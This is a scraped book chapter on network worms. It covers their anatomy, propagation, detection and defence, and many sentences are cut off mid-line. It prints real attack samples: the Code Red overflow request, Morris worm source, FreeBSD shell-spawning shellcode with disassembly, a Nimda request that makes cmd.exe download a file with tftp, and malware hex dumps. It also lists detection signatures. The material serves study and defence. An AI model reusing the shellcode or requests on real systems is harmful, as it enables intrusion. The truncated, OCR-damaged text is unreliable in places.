Introduction to Worms
Introduction to Worms
Would worms
What do we have now? The number of network nodes quickly approaches 4 billion, and most of them are controlled by illiterate users. Only a few network nodes are controlled by administrators, which sometimes are as illiterate as their users. Often, such amateurs have difficulties distinguishing among network protocols and blindly rely on Microsoft and
I dare say that it is possible to swear, curse, and blame Microsoft until you lose consciousness; however, the problem isn't holes. Rather, the main cause of most problems is a negligent position toward security, typical for most administrators, and in their
Nobody is protected against intrusion, and the Internet is in a great danger. By a fluke, all previous worms were harmless creatures, and the damage caused by their propagation was
Structural Anatomy of a Worm
It is
Anatomically, the worm represents a
The requirement of splitting the monolithic structure of the worm into different organs is caused by the limited
The virus loader (usually identified as shellcode, although, this is not always so)
Listing 16.1: Head of the Code Red worm, arriving in the first TCP packet of the request
|
|
GET /default. ida? XXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXX %u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u 7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00 = a HTTP 1.0 Content- type: text/ xm1, Content- length: 3379
|
|
In general, a virus can have several heads. For example, the Morris worm had two heads, the first of which penetrated the target system through the debug hole in sendmail and the second dug a hole in the
finger
daemon, thus creating a false
Having captured control, the worm must first dig into the system as deeply as possible, dragging its long tail into some inconspicuous process and/or file. Encrypted (polymorphic) viruses also must decrypt and/or unpack the tail (if the loader hasn't carried out this operation). The tail of the worm solves more general problems. When it
Nevertheless, the worm has quite a lot to do: It needs to find at least two targets suitable for infecting and insert its head there (or, to be more precise, copies of its head). In this respect, the worm is similar to a missile with a cassette-type warhead. Even if the worm dies, the population of worms will grow in a geometric progression. Because of the extreme algorithmic difficulty and lack of limitations on the maximum allowed size, the worm tail is usually written in high-level programming languages, such as C. For example, Listing 16.2
Listing 16.2: Fragment of the tail of the Morris worm
|
|
rt_init()/* 0x2a26 */
{
FILE *pipe;
char input_buf[64];
int 1204, 1304;
ngateways = 0;
pipe
=
popen(XS("/usr/ucb/netstat -r -n"), XS("r"));
/* &env102, &env 125 */
if (pipe == 0) return 0;
while (fgets(input_buf, sizeof(input_buf), pipe))
{ /* to 518 */
other_sleep(0);
if (ngateways >= 500) break;
sscanf(input_buf, XS("%s%s"), 1204, 1304);
/* <env+127>"%s%s" */
/* Other stuff, I'll come back to this later */
}/* 518, back to 76 */
pclose(pipe);
rt_init_plus_544();
return 1;
}/* 540 */
|
|
Nomadic life of a worm considerably strengthens the
| Important |
In the UNIX world, most virtual function tables are located in the memory
|
After fortifying its
No matter, which algorithm is
Having established the connection to the target machine, the worm must make sure that the required version of the vulnerable software is present and check whether another worm has already infected the system. In the simplest case, identification is carried out using a "handshake." The worm sends a predefined keyword to the target system, which at first glance appears to be an innocent network query. If the worm is present in the system, it intercepts the packet and returns another keyword to the initiator. The keyword sent as a reply must be different from the standard reply of the uninfected server. The handshake mechanism is the weakest point in the worm's protection, if it blindly relies on its remote fellow worm. However, this might be a simulator and not the worm. This circumstance worried Robert Morris, and to overcome possible simulators he equipped his worm with a specialized mechanism, which in one case out of seven had to ignore the indicator of infection and reinfect the machine. However, the chosen coefficient was too paranoiac; therefore, vulnerable
To avoid this situation, each worm must have an internal counter,
By the way, the previously-described anatomical design of the worm is not the generally accepted or the only one. This design distinguishes the following three main components of the worm: the head, the tail, and the sting. Other
Most worms are not poisonous, and the damage they cause is reduced to overloading network links because of their uncontrolled spawning. Only a few worms have a poisonous sting at their tail (some investigators prefer to call it a payload). For example, the worm might install a terminal shell on the target machine, which would provide the attacker with the possibilities of remote administration. Until the
The latest popular trend is modular worms supporting the possibilities of remote administration, as well as installing and configuring plug-ins using the Internet. Just imagine how difficult it will be to overcome the threats under the constantly changing logic of the worm's behavior. Network administrators install filters, but worms bypass them. Administrators start antiviral
Listing 16.3: Five heads of the worm, striking the most vulnerable services
|
|
// This listing provides the "neck" of the worm, which "holds" the
// head that, if necessary, spits fire...
switch(Iptr->h_port)
{
case 80: // Web hole
Handle Port_80(sock, inet_ntoa(sin.sin_addr), Iptr);
break;
case 21: // FTP hole
if (Handle_Port_21(sock, inet_ntoa(sin.sin_addr), Iptr))
{
pthread_mutex_lock(&ndone_mutex);
wuftp2 60_vuln (sock, inet_ntoa(sin.sin_addr), Iptr);
pthread_mutex_unlock(&ndone_mutex);
} break;
case 111: // RPC hole
if (Handle_Port_STATUS(sock, inet_ntoa(sin.sin_addr), Iptr))
{
pthread_mutex_lock(&ndone_mutex);
// rpcSTATUS_vuln(inet_ntoa(sin.sin_addr), Iptr);
pthread_mutex_unlock(&ndone_mutex);
} break;
case 53: // Linux bind hole
// Check_Linux86_Bind(sock, inet_ntoa(sin.sin_addr),
Iptr->h_network);
break;
case 515: // Linux LPD hole
// Get_OS_Type(Iptr->h_network, inet_ntoa(sin.sin_addr));
// Check_lpd(sock, inet_ntoa(sin.sin_addr), Iptr->h_network);
break;
default: break;
}
|
|
Listing 16.4: One of the worm's heads (see Listing 16.5 for its disassembled code)
|
|
/* Break chroot and exec /bin/sh - don't use it on an unbreakable host
like 4.0 */
unsigned char x86_fbsd_shell _chroct[] =
"\x31\xc0\x50\x50\x50\xb0\x7e\xcd\x80"
"\x31\xc0\x99"
"\x6a\x68\x89\xe3\x50\x53\x53\xb0\x88\xcd"
"\x80\x54\x6a\x3d\x58\xcd\x80\x66\x68\x2e\x2e\x88\x54"
"\x24\x02\x89\xe3\x6a\x0c\x59\x89\xe3\x6a\x0c\x58\x53"
"\x53\xcd\x80\xe2\xf7\x88\x54\x24\x01\x54\x6a\x3d\x58"
"\xcd\x80\x52\x68\x6e\x2f\x73\x68\x44\x68\x2f\x62\x69"
"\x6e\x89\xe3\x52\x89\xe2\x53\x89\xel\x52\x51\x53\x53"
"\x6a\x3b\x58\xcd\x80\x31\xc0\xfe\xc0\xcd\x80";
|
|
Listing 16.5: Disassembled code of the MWorm worm
|
|
.data:0804F7E0 x86_fbsd_shell_chroot:
.data:0804F7E0 XOR EAX, EAX
.data:0804F7E2 PUSH EAX
.data:0804F7E3 PUSH EAX
.data:0804F7E4 PUSH EAX
.data:0804F7E5 MOV AL, 7Eh
.data:0804F7E7 INT 80h ; Linux - sys_sigprocmask
.data:0804F7E9 XOR EAX, EAX
.data:0804F7EB CDQ
.data:0804F7EC PUSH 68h
.data:0804F7EE MOV EBX, ESP
.data:0804F7F0 PUSH EAX
.data:0804F7F1 PUSH EBX
.data:0804F7F2 PUSH EBX
.data:0804F7F3 MOV AL, 88h
.data:0804F7F5 INT 80h ; Linux - sys_personality
.data:0804F7F7 PUSH ESP
.data:0804F7F8 PUSH 3Dh
.data:0804F7FA POP EAX
.data:0804F7FB INT 80h ; Linux - sys_chroot
.data:0804F7FD PUSH small 2E2Eh
.data:0804F801 MOV [ESP + 2], DL
.data:0804F805 MOV EBX, ESP
.data:0804F807 PUSH 0Ch
.data:0804F809 POP ECX
.data:0804F80A MOV EBX, ESP
.data:0804F80C
.data:0804F80C loc_804F80C: ; CODE XREF: .data:0804F813
j
.data:0804F80C PUSH 0Ch
.data:0804F80E POP EAX
.data:0804F80F PUSH EBX
.data:0804F810 PUSH EBX
.data:0804F811 TNT 80h ; Linux - sys_chdir
.data:0804F813 LOOP loc_804F80C
.data:0804F815 MOV [ESP +1], dl
.data:0804F819 PUSH ESP
.data:0804F81A PUSH 30h
.data:0804F81C POP EAX
.data:0804F81D INT 80h ; Linux - sys_chroot
.data:0804F81F PUSH EDX
.data:0804F820 PUSH 68732F6Eh
.data:0804F825 TNC ESP
.data:0804F826 PUSH 6E69622Fh
.data:0804F82B MOV EBX, ESP
.data:0804F82D PUSH EDX
.data:0804F82E MOV EDX, ESP
.data:0804F830 PUSH EBX
.data:0804F831 MOV ECX, ESP
.data:0804F833 PUSH EDX
.data:0804F834 PUSH ECX
.data:0804F835 PUSH EBX
.data:0804F836 PUSH EBX
.data:0804F837 PUSH 3Bh
.data:0804F839 POP EAX
.data:0804F83A TNT 80h ; Linux - sys_olduname
.data:0804F83C XOR EAX, EAX
.data:0804F83E TNC AL
.data:0804F840 TNT 80h ; Linux - sys_exit
|
|
Worm Propagation Mechanisms
Holes
are logical errors in the software; as a result of these, the target machine becomes capable of interpreting source data as executable code. The most frequently encountered holes are
buffer overflow errors and errors
Although the theorists of security obstinately wave holes aside as annoying incidents that
The list of newly-detected holes is regularly published on a range of sites dedicated to information security (the best known and the largest of which is Bugtraq at http://www.securityfocus.com/archive/1 ) and on the Web pages of individual hackers. The patches for security holes usually appear weeks or even months after the publication of information about the detection of security holes. In some cases, however, release of the patch occurs even before the publication itself, because good form requires investigators to refrain from publishing information about a security hole before the antidote is found. Naturally, virus writers search for holes on their own, too. However, throughout the Internet's existence, they didn't find a single hole.
Weak passwords
are a true
The first (and, for the moment, the last) worm that attacked passwords was the Morris worm, which used a successful combination of a dictionary attack with a series of typical transformations of the target login name (initial login name,
The Nimda worm used a slightly more primitive propagation mechanism. It penetrated only systems that were not password-protected, which prevented it from uncontrollable spawning, because weak passwords are only an insignificant percentage of the total number of passwords.
Since the time of Morris, lots of circumstances have changed. Now, there is a clearly-noticeable trend toward choosing more complicated passwords with random, meaningless combinations of letters and digits. However, the number of users is constantly growing. Administrators often are unable to control all users and ensure the correct choice of passwords. Thus, a password attack still remains a real threat.
Open systems
are systems that without hindrances allow
In contrast to the nodes protected by weak (or even blank) passwords,
The notorious
human factor
might be covered endlessly. However, I won't do this. This isn't a technical problem; it's a purely organizational one. No matter what efforts Microsoft and its
Arrival of the Worm
Worms represent a kind of viruses that spawn without the participation of
Strategy and Tactics of Infection
The main enemies of a ninja are uncertainty, barbwire of firewalls, and wolfhounds running all over the protected territory.
The preparation for uploading the shellcode starts by determining IP addresses suitable for intrusion. If a worm is a class C network, where the three most significant bits of IP addresses are set
110
, then it is possible to scan the entire network (to understand how to achieve this, disassemble any network scanner). Scanning larger networks of classes A and B takes longer time and can immediately
Then the worm carries out preliminary testing of candidates. First, the worm must make sure that the given IP address exists, hasn't been frozen, and runs the vulnerable version of server software or operating system known to the worm and compatible with the shellcode of one of its worms.
The first two problems are
Figure 16.2:
The worm sends
The situation for determining the server version is more difficult, and there are no universal solutions here. Some protocols support a special command or return the server version in the welcome string; however, most frequently the worm has to obtain the required information on the basis of indirect
Figure 16.3:
The worm receives the reply identifying the suitable target and sends to it the head containing the shellcode
In the final stage of the reconnaissance operation, the worm sends the prearranged signal to the remote host (for instance, it sends a TCP packet with the prearranged message inside). If the remote host is already under control of another worm, it must reply in a predefined way. This stage is the weakest part of the entire operation because, if the adversary (administrator)
Having chosen the target suitable for intrusion, the worm sends it the query that causes buffer overflow and then passes control to the shellcode, which can be passed both with the overflowing query and separately from it. Such an intrusion strategy is called a
When preparing the shellcode, it is necessary to remember about firewalls, which analyze the contents of requests and discard all suspicious packets. In particular, application-level filters carry out this task. To avoid destruction, the shellcode must meet all requirements of the protocol specification, and its syntax must be the same as that of normal commands. After all, firewall filters analyze only the request syntax , not its actual contents (it doesn't have enough power and intellect to carry out this task).
If the shellcode successfully captures control over the target machine, it must then find the descriptor of the TCP/IP connection, through which it was uploaded, and upload the remaining tail (this can be done by systematic checking of all sockets using the
getpeername
function) ” Fig. 16.4. It would be much easier to drag the tail through an individual TCP/IP connection. However, if the adversary has
Figure 16.4:
The worm head overflows the buffer, captures control, and uploads the tail
The entire landing party has
To penetrate the address space of another process, the worm must either create a remote thread in it by calling the CreateRemoteThread function, or patch the machine code directly by calling the WriteProcessmemory function (here I am speaking only about Windows NT-based systems, because UNIX requires a different approach, see Chapter 13 ).
As a variant, it is possible to create registration elements in the registry branch that are responsible for automatically loading DLLs into the address space of each process started for execution: HKLM\SOFTWARE \Microsoft\windows NT\CurrentVersion\Windows\AppInit_DLLs .
In the latter case, the worm will gain control over all events that take place in the system, for example, by blocking the start-up of programs that it "doesn't like." How long would it take the administrator to guess what's happening?
Having reinforced its positions in the captured system, the worm can proceed with searching for new targets and sending its head to all suitable target addresses, having previously reduced its biological counter at one (Fig. 16.5). When this counter reaches zero, this initiates the self-destruction procedure.
Figure 16.5:
The captured host becomes a new bulwark that continues worm propagation
This is a general description of the life cycle of the worm.
Struggle for Natural Habitat: Duty before Fellow Worms, or Born to Die
The worm is in a continuous struggle for existence. Having been uploaded into the Internet, the worm must face the problems of capturing system resources (gaining food), mastering new territories (searching for new targets suitable for infection), defending against predators (firewalls, antivirus software, administrators, etc.), and solving the problem of intraspecific competition. Only expertly-designed and highly-intellectual code can survive in this
The overwhelming majority of worms die immediately after their birth, and only a few of them cause impressive epidemics. Why is this so? Uncontrolled growth of any population always results in its destruction because the
The worm must sparingly use this wealth, sharing it
Figure 16.6:
Rapid propagation of worms causes network congestion
The influence of the propagation rate on the worm's
Consider an extreme case. Assume that a virus being studied must carry out only one infection act during its entire life cycle. Then the population will grow linearly until the system load exceeds some critical value, after which the population will inevitably drop. In the long run, the virus would eat up all processor resources, all memory, and all disk space, after which the system would freeze and the process of virus spawning would stop. In practice, the situation doesn't come to this
The period that elapses from the moment of the first infection until the moment the virus is detected because of unusual system activity is called the latent period of the worm propagation. The more hosts infected during that time, the greater the worm's
Provided that the IP address of the target computer is chosen using a random rule (most worms propagate using this algorithm), the propagation rate of the worm
To solve this problem, the Morris worm used several independent mechanisms. First, it listed the trusted hosts from each infected machine. The lists of trusted hosts are contained in the /etc/hosts.equiv and rhosts files. In addition, the Morris worm retrieved forward files containing email addresses. This
Furthermore, different copies of the Morris worm periodically exchanged the list of infected nodes, which, consequently, needn't be reinfected. The presence of any intravirus communications tools considerably
Anyway, an expertly-designed worm mustn't cause network congestion. Only irritating programming errors prevent programmers from turning these plans into reality. At first glance, such a worm might seem harmless, and most administrators probably would ignore the messages about the threat (because of the implicit rule
It is instructive to consider the process of propagation of the Code Red virus, which, at the peak of the epidemic, infected more than 359,000 hosts during 24 hours. How were these data obtained? A specialized software monitor installed at the local area network in the Berkeley Laboratory trapped all IP packets and
Fig. 16.7 illustrates the dependence of the worm propagation rate on time. First, the worm propagated slowly, even lazily. Nevertheless, infection of the main network hosts took it only several hours, after which it occupied practically all industrial
Figure 16.7:
Dependence of the worm propagation rate on time
How to Detect a Worm
Detecting expertly-designed and not-too-voracious code isn't a trivial task. There is a range of typical indications of the worm's presence; however, they are unreliable, and only disassembling can provide a certain answer. What should you disassemble? With file viruses the situation is clear: Feed the system with a range of specially prepared "patterns" and see whether one of them is changed. A check for the integrity of system files according to some predefined pattern also produces a good result. In the Windows family of operating systems, there is a special utility, sfc. exe , although a specialized disk inspector would handle this task much better.
Worms might even leave the file system intact and
However, no one has ever seen a polite worm that always behaved correctly. Sometimes, highly-intellectual worms can be encountered, developed by talented programmers with high professional skills. Nevertheless, I dare say that all worms encountered in the real world running wild contain the design
The most reliable indication of the worm's presence is the large number of outgoing TCP/IP packets that flood the entire network and are addressed to nonexistent hosts. Packets are sent either constantly or regularly after constant (and short) intervals (say, 3 or 5 seconds). At the same time, connections are usually established without using domain names, directly at IP addresses.
| Important |
Not every traffic analyzer is capable of detecting this because, at the level of the connect function, the connection is usually established at an IP address returned by the gethostbyname function at appropriate domain names. |
However, as was mentioned earlier, the worm can scan local files to detect suitable domain names. These might be local address books of email clients, lists of trusted domains, or even archives of HTML documents (pages containing links to other sites are precious prey for HTTP worms). File scanning can be detected easily. To achieve this, it is enough to view "ledger bait" ” files that no one ever opens under normal circumstances (including antivirus scanners or daemons installed in the system). However, these files probably will be noticed and infected by the worm. It is enough to periodically check when these files were last accessed.
Abnormal network activity is another true indication of the worm's presence. Most known worms spawn at an indecently-high rate, which typically cause a peak in outgoing network traffic. In addition, open ports that you didn't open and to which no one listens, might appear in the system. However, it is possible to listen to a port without opening it. To achieve this, it is enough to insert the worm's code into some low-level network service. Therefore, a qualified administrator must consider the data obtained by network traffic analyzer skeptically if such analyzers are not running on a separate computer that the worm is unable to attack.
Packets with suspicious contents serve as the third indication of the worm's presence. The
-
Names of command interpreters ( cmd.exe and sh ) and system libraries (admin.dll and similar files)
-
Chains of three or more NOP machine commands that appear approximately as follows: %u9090
-
Machine commands such as call esp, jmp esp , and int 80h (the complete list of such commands is too long and therefore won't be provided here)
-
Meaningless sequences such as .\.\.\ or xxx used by the virus to cause overflow errors
However, do not even try to directly disassemble the binary code contained in packets that look like the ones intended to cause overflow and capture administrative privileges. Because it is impossible to know beforehand, to which byte of the shellcode the control will be passed, it isn't easy to determine the entry point. There is no guarantee that this will be the first byte of the packet or binary code. Do not rely on an automated search, because it also isn't
At least the three best-known worms, Code Red, Nimda, and Slammer, can be easily detected by automated analysis.
Listing 16.6: Head of the Code Red worm arriving in the first packet
|
|
GET /default. ida? XXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXX %u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u 7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00 = a HTTP 1.0 Content- type: text/ xml, Content- length: 3379
|
|
Listing 16.7: Head of the Nimda worm
|
|
GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/ c+tftp%20-i%20XXX.XXX.XXX.XXX%20GET%20Admin.dll%20c:\Admin.dll
|
|
If the worm contains unencrypted text strings (which frequently is the case), then its malicious nature becomes evident even when briefly viewing the HEX code of the file being studied.
Listing 16.8: Fragment of the MWorm virus
|
|
00005FA0: 47 45 54 20 2F 73 63 72 69 70 74 73 2F 2E 2E 25 GET /scripts/..% 00005FB0: 63 31 25 31 63 2E 2E 2F 77 69 6E 6E 74 2F 73 79 c1%1c../winnt/sy 00005FC0: 73 74 65 6D 33 32 2F 63 6D 64 2E 65 78 65 3F 2F stem32/cmd.exe?/ 00005FD0: 63 2B 63 6F 70 79 25 32 30 63 3A 5C 77 69 6E 6E c+copy%20c:\winn 00005FE0: 74 5C 73 79 73 74 65 6D 33 32 5C 63 6D 64 2E 65 t\system32\cmd.e 00005FF0: 78 65 25 32 30 63 3A 5C 4D 77 6F 72 6D 2E 65 78 xe%20c:\Mworm.ex 00006000: 65 20 48 54 54 50 2F 31 2E 30 0D 0A 0D 0A 00 00 e HTTP/1.0
|
|
Some worms, to reduce their size and disguise themselves, are packed by some packers for executable files. Before analyzing such a worm, it is necessary to unpack it.
Listing 16.9: Fragment of the Love San worm after unpacking
|
|
000021EC: 77 69 6E 64 6F 77 73 75 70 64 61 74 65 2E 63 6F windowsupdate.co 000021FC: 6D 00 25 73 0A 00 73 74 61 72 74 20 25 73 0A 00 m %s start %s 0000220C: 74 66 74 70 20 2D 69 20 25 73 20 47 45 54 20 25 tftp -i %s GET % 0000221C: 73 0A 00 25 64 2E 25 64 2E 25 64 2E 25 64 00 25 s %d.%d.%d.%d % 0000222C: 69 2E 25 69 2E 25 69 2E 25 69 00 72 62 00 4D 00 i.%i.%i.%i rb M 0000223C: 64 00 2E 00 25 73 00 42 49 4C 4C 59 00 77 69 6E d . %s BILLY win 0000224C: 64 6F 77 73 20 61 75 74 6F 20 75 70 64 61 74 65 dows auto update 0000225C: 00 53 4F 46 54 57 41 52 45 5C 4D 69 63 72 6F 73 SOFTWARE\Micros 0000226C: 6F 66 74 5C 57 69 6E 64 6F 77 73 5C 43 75 72 72 oft\Windows\Curr 0000227C: 65 6E 74 56 65 72 73 69 6F 6E 5C 52 75 6E 00 00 entVersion\Run
|
|
When analyzing dumps, you have to search for suspicious messages, commands of various protocols (
GET, HELLO
, etc.), names of system libraries, command interpreters, operating system commands, pipeline
When looking for the worm's head, remember that the shellcode of the exploit is usually located in the data section and, as a rule, contains easily-recognizable machine code. In particular, the
CDh 80h
(
int 80h
) command responsible for a direct call to the Linux system functions can be encountered in practically all worms
In general, after analyzing about a dozen worms, you'll grasp their concepts at such a level of detail that you'll be capable of recognizing the most typical constructs in other organisms without any difficulties. Without seeing worms, it is impossible to study them.
How to Overcome a Worm
It is impossible to ensure 100% protection against worms. On the other hand, all worms that caused large-scale epidemics appeared long after the release of patches and attacked computers that were not updated for months or even
It is important to understand that antiviral software is principally unable to overcome worms. This is because when they heal the machine, they do not eliminate security holes, and the worm comes time and again. It is not expedient to blindly rely on firewalls. They are capable of promptly closing a vulnerable port and of filtering network packets containing virus signatures. Firewalls operate excellently if viruses attack the port of the service that isn't urgently needed (provided that the firewall isn't chosen as the target for attack). However, the situation becomes much
Some companies manufacture high-performance hardware scanners (Fig. 16.8) based on Programmable Logic Devices (PLDs), detailed information about which can be found at
http://www.arl.wustl.edu/~lockwood/
Figure 16.8:
Hardware traffic analyzer
A strong but
End of the Calm Before the Storm?
Informational
The first signs were given by Melissa, which was a typical macro virus propagating through email. It was unable to self-reproduce and, in general, wasn't a network worm in the strict sense of this word. For supporting its vital functions, the virus required a large number of unqualified users that met the following conditions:
-
Have a copy of Microsoft Word installed on the computer
-
Ignore system warnings about the presence of macros in documents, or have processing of such macros enabled by default
-
Use the Outlook Express address book
-
Carelessly open all attachments to email messages
Well, there were a lot of such users! According to different evaluations, Melissa infected several hundred thousand to 1.5 million computers all over the world, including in all industrial countries.
The greatest mistake of informational agencies and companies involved in the development of antiviral software was that they, striving for sensational events, made event No. 1 out of the Melissa arrival. By doing this, they excited a large number of programmers with different qualification levels and provoked them by handing them a specimen for imitation. As usual, at first the imitators didn't go any further than dumb
Qualified users (to speak nothing about professionals) were not excited by the existence of mail worms. They assumed that they were safe. The crucial moment came when the Klez worm appeared, which propagated using the floating-
However, a year before this event, security specialists noticed the first worm propagating over the network on its own. This worm penetrated vulnerable servers using a security hole in Microsoft IIS and the Sun Solstice AdminSuite. According to some unconfirmed data, this worm infected several thousand machines, more than the Morris worm did. For contemporary network
This carelessness didn't keep administrators waiting long. Two months later, there appeared a new virus called Code Red. This virus and its later modification, Code Red II, paralyzed more than a million hosts within a short time. The
Two years later, critical vulnerabilities were found in Apache and SQL servers. Accordingly, specialized worms exploiting these vulnerabilities soon appeared. As usual, the result exceeded all expectations. The Internet was half paralyzed, and some experts even rushed to predict its inevitable death. Others proclaimed that the Internet urgently needed to be restructured (although firing administrators who didn't install patches was all that had to be done).
As the limit to everything, a blatant error was detected in DCOM, which was typical for the entire line of Windows NT-based systems (Windows NT and all its successors, including Windows 2000, Windows XP, and even Windows Server 2003). This vulnerability was typical not only of servers but also of workstations and home computers, which has provided a vast amount of vital resources to the Love San worm. Mainly, this is because most workstations and home computers are maintained by unqualified personnel who practically never update operating systems, install firewalls, patch security holes, or even disable that wretched DCOM.
| Note |
To disable DCOM, it is possible to use the DCOMbobulator utility available at the following address: http://grc.com/freepopular.htm .This utility will check your machine for the vulnerability, and it will give you several useful recommendations related to the system security and protection. |
Table 16.1 lists the top ten network worms, from the Morris worm until today's worms, with a brief description, including detection time, target of attack, propagation mechanisms, and approximate number of infected machines. As relates to the number of infected hosts, this information was approximated on the basis of data collected from several sources. Therefore, do not take this information for gospel truth.
|
Virus |
Time of detection |
Target of attack |
Propagation mechanisms |
Number of infected machines |
|---|---|---|---|---|
|
Morris worm |
November 1988 |
UNIX, VAX |
Debug back door in sendmail, buffer overflow in finger daemon, weak passwords |
6,000 |
|
Melissa |
1999 |
Email via Microsoft Word |
Human factor |
1,200,000 |
|
Love Letter |
May 2000 |
Email via VBS |
Human factor |
3,000,000 |
|
Klez |
June 2002 |
Email via bug in IE |
Vulnerability in IE related to IFRAME |
1,000,000 |
|
sadmind/IIS |
May 2001 |
Sun Solaris/IIS |
Buffer overflow in Sun Solstice AdminSuite/IIS |
8,000 |
|
Code Red I/II |
July 2001 |
IIS |
Buffer overflow in IIS |
1,000,000 |
|
Nimda |
September 2001 |
IIS |
Buffer overflow in IIS, weak passwords, etc. |
2,200,000 |
|
Slapper |
July 2002 |
Linux Apache |
Buffer overflow in OpenSSL |
20,000 |
|
Slammer |
January 2003 |
Microsoft SQL |
Buffer overflow in SQL |
300,000 |
|
Love San |
August 2003 |
Windows NT/2000/XP/2003 |
Buffer overflow in DCOM |
1,000,000 (possibly more, but this information is not relable) |
No expert is able to predict what will happen tomorrow. A new critical vulnerability allowing an attack on an entire family of operating systems can be detected at any moment. As usual, the destructive worm elements will cause damage before administrators will install appropriate patches. This time, the damage might bring the entire industrialized world into chaos.
Interesting Internet Resources
-
" Attacks of the Worm Clones: Can We Prevent Them ?" Materials of the 2003 RSA Conference
conducted by Symantec. There are lots of informative illustrations. Visit http://www.peterszor.com/virusresearchpapers.html . -
" An Analysis of the Slapper Worm Exploit ." This is the detailed analysis of the Slapper worm carried out by Symantec. Oriented toward professionals, this document is strongly recommended to everyone who knows C and isn't afraid of Assembly: http://securityresponse.symantec.com/avcenter/reference/analysis.slapper.worm.pdf .
-
" Inside the Slammer Worm ." This analysis of the Slammer worm is oriented toward advanced PC users. Nevertheless, it might be interesting for administrators: http://www.cs.ucsd.edu/~savage/papers/IEEESP03.pdf .
-
" An Analysis of the Microsoft RPC/DCOM Vulnerability ."This is a detailed analysis of the sensational RPC/DCOM vulnerability in Windows NT/2000/XP/2003 strongly recommended to everyone. It is available at http://www.inetsecurity.
info /downloads/papers/MSRPCDCOM.pdf . -
" The Internet Worm Program: An Analysis ." This is a historical document released after the Morris worm and containing a detailed analysis of its algorithm. Available at http://www.cerias.purdue.edu/
homes /spaf/tech-reps/823.pdf . -
" With Microscope and Tweezers: An Analysis of the Internet Virus of November 1988 ." This is another historical analysis of the Morris worm architecture: http://www.
deter .com/unix/papers/internet_worm.pdf . -
" Linux Virus Writing and Detection HOWTO ." This is an interesting piece on the topic of writing viruses and antiviral software for Linux. Available at http://www.como.linux.it/docs/virus-writing-and-detection-HOWTO/ .
-
" Are Computer Hacker Break-ins Ethical ?" In other words, to hack or not to hack ” that is a question! The article is available at the following address: http://www.cerias.purdue.edu/homes/spaf/tech-reps/994.pdf .
-
" Simulating and Optimizing Worm Propagation Algorithms ." This article provides analysis of worm propagation depending on various conditions. It is highly recommended for those who love mathematics. The article is available at the following address: http://downloads.securityfocus.com/library/WormPropagation.pdf .
-
" Why Anti-Virus Software Cannot Stop the Spread of Email Worms ." This article explains why antiviral software is inefficient as protection against email viruses. It is strongly recommended to all promotion managers dealing with promotion of antiviral software. The article is available at http://www.interhack.net/pubs/email-trojan/email-trojan.pdf .
-
Here is an interesting collection of documents related to worms:
-
http://www.dwheeler.com/secure-programs/secure-programming-handouts.pdf
-
http://www.cisco.com/warp/public/cc/so/neso/sqso/safr/prodlit/sawrm_wp.pdf
-
http://engr.smu.edu/~tchen/papers/Cisco%20IPJ_sep2003.pdf
-
http://crypto.
stanford .edu/csl55/lecturel2.pdf -
http://www.peterszor.com/slapper.pdf
-
Similar products
Similar products
- 2007 Microsoft Office System Step by Step
Microsoft office word environment - File System Forensic Analysis
Ufs2 innode change - Special Edition Using Microsoft Windows XP Professional
append primary and connection specific dns suffixes through wmi - Special Edition Using Microsoft Windows XP Professional
Ip settings xp bridge - Ethereal Packet Sniffing
Code red worm code - Mastering the Requirements Process
Volere functional and data requirements